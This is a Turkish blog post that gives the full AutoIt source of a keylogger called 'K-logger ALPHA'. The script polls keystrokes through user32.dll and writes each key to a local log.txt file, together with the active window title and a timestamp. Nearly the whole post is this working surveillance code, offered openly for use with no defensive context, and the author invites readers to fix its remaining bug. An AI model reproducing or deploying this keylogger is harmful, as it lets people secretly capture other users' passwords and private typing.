Başlangıç > Kodlar > Autoit ile keylogger yapımı

Autoit ile keylogger yapımı

Scriptin adı: K-logger ALPHA
Scriptin fonksiyonu: Basılan tuşları algılayıp, kaydetmek
Scriptin durumu: %80 çalışır durumda
Eksikleri: arka arkaya basılan tuşları not alamıyor, örn: 2 kere a ya basıldığında yani aa basıldığında a olarak kaydediyor, yolu bulunur size kalmış

#cs —————————————————————————-

AutoIt Version: 3.2.4.9
Author: 313

Script Function:
Keylogger.

#ce —————————————————————————-

; Script Start – Add your code below here

#include
#include

Global $dll = DllOpen(“user32.dll”)
Global $harf, $lastharf
Global $backspace, $enter, $del, $0, $1, $2, $3, $4, $5, $6, $7, $8, $9, $a, $b, $c, $d, $e, $f, $g, $h, $i, $j, $k, $L, $m, $n
Global $o, $p, $q, $r, $s, $t, $u, $v, $w, $x, $y, $z, $NUMPAD0, $NUMPAD1, $NUMPAD2, $NUMPAD3, $NUMPAD4, $NUMPAD5, $NUMPAD6
Global $NUMPAD7, $NUMPAD8, $NUMPAD9
Global $filename = @ScriptDir&”\log.txt”, $title, $lasttime, $time, $writetime, $readfirst

While 1

Sleep(49)
keygrab()
getactivewindow()
writethem()

WEnd

Func getactivewindow()
$active = WinGetTitle(“”,””)
$title = $active
$time = _NowTime(4)
EndFunc

Func keygrab()
if _IsPressed(“08″) Then $harf = “[BACKSPACE]”
if _IsPressed(“0D”) Then $harf = “[ENTER]”
if _IsPressed(“2E”) Then $harf = “[DELETE]”
if _IsPressed(“09″) Then $harf = “[TAB]”
if _IsPressed(“20″) Then $harf = “[SPACE]”
if _IsPressed(“30″) Then $harf = “0″
if _IsPressed(“31″) Then $harf = “1″
if _IsPressed(“32″) Then $harf = “2″
if _IsPressed(“33″) Then $harf = “3″
if _IsPressed(“34″) Then $harf = “4″
if _IsPressed(“35″) Then $harf = “5″
if _IsPressed(“36″) Then $harf = “6″
if _IsPressed(“37″) Then $harf = “7″
if _IsPressed(“38″) Then $harf = “8″
if _IsPressed(“39″) Then $harf = “9″
if _IsPressed(“41″) Then $harf = “a”
if _IsPressed(“42″) Then $harf = “b”
if _IsPressed(“43″) Then $harf = “c”
if _IsPressed(“44″) Then $harf = “d”
if _IsPressed(“45″) Then $harf = “e”
if _IsPressed(“46″) Then $harf = “f”
if _IsPressed(“47″) Then $harf = “g”
if _IsPressed(“48″) Then $harf = “h”
if _IsPressed(“49″) Then $harf = “i”
if _IsPressed(“4A”) Then $harf = “j”
if _IsPressed(“4B”) Then $harf = “k”
if _IsPressed(“4C”) Then $harf = “L”
if _IsPressed(“4D”) Then $harf = “m”
if _IsPressed(“4E”) Then $harf = “n”
if _IsPressed(“4F”) Then $harf = “o”
if _IsPressed(“50″) Then $harf = “p”
if _IsPressed(“51″) Then $harf = “q”
if _IsPressed(“52″) Then $harf = “r”
if _IsPressed(“53″) Then $harf = “s”
if _IsPressed(“54″) Then $harf = “t”
if _IsPressed(“55″) Then $harf = “u”
if _IsPressed(“56″) Then $harf = “v”
if _IsPressed(“57″) Then $harf = “w”
if _IsPressed(“58″) Then $harf = “x”
if _IsPressed(“59″) Then $harf = “y”
if _IsPressed(“5A”) Then $harf = “z”
if _IsPressed(“60″) Then $harf = “0″
if _IsPressed(“61″) Then $harf = “1″
if _IsPressed(“62″) Then $harf = “2″
if _IsPressed(“63″) Then $harf = “3″
if _IsPressed(“64″) Then $harf = “4″
if _IsPressed(“65″) Then $harf = “5″
if _IsPressed(“66″) Then $harf = “6″
if _IsPressed(“67″) Then $harf = “7″
if _IsPressed(“68″) Then $harf = “8″
if _IsPressed(“69″) Then $harf = “9″
EndFunc

Func writethem()

if $harf = “” Then Return
If $harf = $lastharf Then Return

$filename = @ScriptDir&”\log.txt”
if $time = $lasttime Then
$writetime = $lasttime
$readfirst = IniRead($filename,$title,$writetime,””)
Else
$writetime = $time
$readfirst = IniRead($filename,$title,$writetime,””)
EndIf
IniWrite($filename,$title,$writetime,$readfirst&$harf)

$lastharf = $harf
$lasttime = $time

EndFunc

Reklamlar
Kategoriler:Kodlar Etiketler:, , ,
  1. Henüz yorum yapılmamış.
  1. No trackbacks yet.

Bir Cevap Yazın

Aşağıya bilgilerinizi girin veya oturum açmak için bir simgeye tıklayın:

WordPress.com Logosu

WordPress.com hesabınızı kullanarak yorum yapıyorsunuz. Çıkış  Yap / Değiştir )

Twitter resmi

Twitter hesabınızı kullanarak yorum yapıyorsunuz. Çıkış  Yap / Değiştir )

Facebook fotoğrafı

Facebook hesabınızı kullanarak yorum yapıyorsunuz. Çıkış  Yap / Değiştir )

Google+ fotoğrafı

Google+ hesabınızı kullanarak yorum yapıyorsunuz. Çıkış  Yap / Değiştir )

Connecting to %s

%d blogcu bunu beğendi: